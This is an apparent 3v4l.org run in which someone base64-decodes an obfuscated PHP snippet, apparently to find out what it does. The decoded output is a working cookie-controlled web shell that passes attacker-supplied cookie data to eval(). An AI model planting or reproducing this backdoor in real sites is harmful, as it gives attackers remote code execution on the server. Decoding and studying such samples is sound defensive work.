3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $var='JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f=='; var_dump(base64_decode($var));
Output for 7.1.0
string(207) "$c='count';$a=$_COOKIE;if(reset($a)=='vi' && $c($a)>3){$k='ctor';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';"
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.13.2, 7.0.0 - 7.0.14
bool(false)